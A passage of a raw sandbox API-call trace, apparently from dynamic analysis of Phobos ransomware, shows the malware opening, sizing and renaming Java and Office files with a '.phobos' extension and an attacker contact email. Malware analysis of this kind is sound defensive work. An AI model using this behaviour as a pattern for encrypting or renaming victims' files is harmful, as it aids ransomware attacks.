(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.995] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.013] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2126) returned 1 [0151.013] CloseHandle (hObject=0x564) returned 1 [0151.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0151.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.015] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.017] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1923211) returned 1 [0151.018] CloseHandle (hObject=0x564) returned 1 [0151.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0151.018] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.026] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0 [0151.027] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.033] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2796) returned 1 [0151.033] CloseHandle (hObject=0x564) returned 1 [0151.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0151.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.034] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.035] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3492573) returned 1 [0151.035] CloseHandle (hObject=0x564) returned 1 [0151.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0151.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0 [0151.035] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.036] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=54560347) returned 1 [0151.036] CloseHandle (hObject=0x564) returned 1 [0151.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0151.037] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.038] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0 [0151.039] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.046] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2466) returned 1 [0151.046] CloseHandle (hObject=0x564) returned 1 [0151.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0151.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.047] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=98) returned 1 [0151.047] CloseHandle (hObject=0x564) returned 1 [0151.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0151.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.048] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.106] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3527) returned 1 [0151.106] CloseHandle (hObject=0x564) returned 1 [0151.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0151.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.106] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.108] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3026) returned 1 [0151.108] CloseHandle (hObject=0x564) returned 1 [0151.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0151.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.108] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.109] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1210) returned 1 [0151.109] CloseHandle (hObject=0x564) returned 1 [0151.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0151.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.109] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.110] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=8400) returned 1 [0151.110] CloseHandle (hObject=0x564) returned 1 [0151.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0151.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.110] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.111] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=40) returned 1 [0151.111] CloseHandle (hObject=0x564) returned 1 [0151.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0151.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.111] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.112] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=528) returned 1 [0151.112] CloseHandle (hObject=0x564) returned 1 [0151.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0151.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.112] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.114] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=27200) returned 1 [0151.115] CloseHandle (hObject=0x564) returned 1 [0151.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0151.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.115] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.118] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18624) returned 1 [0151.118] CloseHandle (hObject=0x564) returned 1 [0151.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0151.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.119] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.120] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18624) returned 1 [0151.120] CloseHandle (hObject=0x564) returned 1 [0151.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0151.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.120] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.121] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21184) returned 1 [0151.121] CloseHandle (hObject=0x564) returned 1 [0151.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0151.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 